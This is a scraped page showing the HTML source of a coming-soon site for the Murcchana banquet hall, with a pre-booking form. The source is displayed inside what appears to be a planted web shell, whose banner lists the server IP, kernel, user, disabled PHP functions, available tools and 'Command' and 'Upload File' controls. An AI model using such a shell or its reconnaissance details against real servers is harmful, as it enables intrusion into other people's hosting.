|
Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/celkcksm/murchhana.com/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Murcchana Banquet Hall</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css" rel="stylesheet">
<link rel="stylesheet" href="assets/css/style.css">
<link href="https://fonts.googleapis.com/css2?family=Cormorant+Garamond:ital,wght@0,300..700;1,300..700&display=swap" rel="stylesheet">
<style>
</style>
</head>
<body style="overflow-x: hidden; font-family: 'Cormorant Garamond';">
<section>
<div class="header-section">
<div class="row">
<div class="col-12 main-logo-header-section">
<img src="assets/images/logo.png" alt="murcchana logo" class="main-logo">
</div>
</div>
</div>
</section>
<section class="banner-background">
<div class="text-center">
<div class="banner-sub-heading-1">
<h4>Launching Shortly</h4>
</div>
<img src="assets/images/banner-vector.webp" alt="banner vector image" class="banner-vector-image">
<div class="banner-sub-heading-2">
<h6>Reach Out To Us</h6>
</div>
<div class="banner-heading">
<h1>Experience Unmatched Hospitality At Its Best</h1>
</div>
<div class="banner-button">
<a href="#" style="text-decoration: none;" class="btn-simple" data-bs-toggle="modal" data-bs-target="#preBookModal"><i class="fas fa-calendar-check me-2"></i> PRE BOOK NOW</a>
</div>
</div>
<div class="row mt-5">
<div class="d-flex justify-content-between social-icon-padding-y-axis">
<div class="d-flex gap-3">
<a href="https://www.facebook.com/people/Murchhana/61577207392460/"><img src="assets/images/facebook.png" alt="murcchana facebook" class="social-media-icons"></a>
<a href="https://www.instagram.com/murchhana_banquet.hall/"><img src="assets/images/instagram.png" alt="murcchana instagram" class="social-media-icons"></a>
<a href="https://x.com/murcchana"><img src="assets/images/x.webp" alt="murcchana x" class="social-media-icons"></a>
<a href="https://www.youtube.com/@Murchhana.banquet"><img src="assets/images/youtube.webp" alt="murcchana youtube" class="social-media-icons"></a>
</div>
<div>
<a href="https://wa.me/919434529777"><img src="assets/images/whatsapp.webp" alt="murcchana whatsapp" class="social-media-icons-whatsapp"></a>
</div>
</div>
</div>
<div class="row">
<div class="footer-background-overlay">
<div class="d-flex gap-3 justify-content-center p-3">
<a href="https://g.co/kgs/8zHg27f"><img src="assets/images/google-map.png" class="footer-social-media-icons" alt="murcchana google map"></a>
<a href="https://g.co/kgs/8zHg27f" style="text-decoration: none;"><h6 class="text-white">Murchhana, Hatibagan, Po • Ps -Jiaganj, Murshidabad - 742123, Corporate Booking: 9434529777</h6></a>
</div>
</div>
</div>
</section>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
<!-- Modal -->
<div class="modal fade" id="preBookModal" tabindex="-1" aria-labelledby="preBookModalLabel" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="preBookModalLabel">Pre-Book Murcchana Banquet Hall</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<form id="preBookForm" action="mail.php" method="post">
<div class="mb-3">
<label for="name" class="form-label">Full Name</label>
<input type="text" class="form-control" id="name" name="name" required>
</div>
<div class="mb-3">
<label for="phone" class="form-label">Phone Number</label>
<input type="tel" class="form-control" id="phone" name="phone" required>
</div>
<div class="mb-3">
<label for="eventType" class="form-label">Purpose of Event</label>
<select class="form-select" id="eventType" name="eventType" required>
<option value="" disabled selected>Select Event Type</option>
<option value="Wedding">Wedding</option>
<option value="Birthday">Birthday</option>
<option value="Corporate">Corporate Event</option>
<option value="Anniversary">Anniversary</option>
<option value="Other">Other</option>
</select>
</div>
<div class="mb-3">
<label for="eventDate" class="form-label">Event Date</label>
<input type="date" class="form-control" id="eventDate" name="eventDate" required>
</div>
<div class="mb-3">
<label for="guests" class="form-label">Expected Guests</label>
<input type="number" class="form-control" id="guests" name="guests" required>
</div>
<div class="mb-3">
<label for="message" class="form-label">Additional Details</label>
<textarea class="form-control" id="message" name="message" rows="3"></textarea>
</div>
</form>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
<button type="submit" class="btn btn-warning" id="submitBtn">Submit Booking</button>
</div>
</div>
</div>
</div>
<!-- Success Toast (hidden by default) -->
<div class="position-fixed bottom-0 end-0 p-3" style="z-index: 11">
<div id="successToast" class="toast" role="alert" aria-live="assertive" aria-atomic="true">
<div class="toast-header bg-success text-white">
<strong class="me-auto">Success!</strong>
<button type="button" class="btn-close btn-close-white" data-bs-dismiss="toast" aria-label="Close"></button>
</div>
<div class="toast-body">
Your booking request has been submitted. We'll contact you shortly!
</div>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script>
document.getElementById('preBookForm').addEventListener('submit', async (e) => {
e.preventDefault();
const submitBtn = document.getElementById('submitBtn');
submitBtn.disabled = true;
submitBtn.innerHTML = '<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span> Submitting...';
// Prepare form data
const formData = new FormData(e.target);
try {
const response = await fetch('mail.php', {
method: 'POST',
body: formData
});
const result = await response.json();
if (result.error) {
throw new Error(result.error);
}
// Show success toast
const toast = new bootstrap.Toast(document.getElementById('successToast'));
toast.show();
// Reset form and close modal
e.target.reset();
bootstrap.Modal.getInstance(document.getElementById('preBookModal')).hide();
} catch (error) {
alert(error.message || 'Error submitting form. Please try again.');
} finally {
submitBtn.disabled = false;
submitBtn.innerHTML = 'Submit Booking';
}
});
</script>
</body>
</html>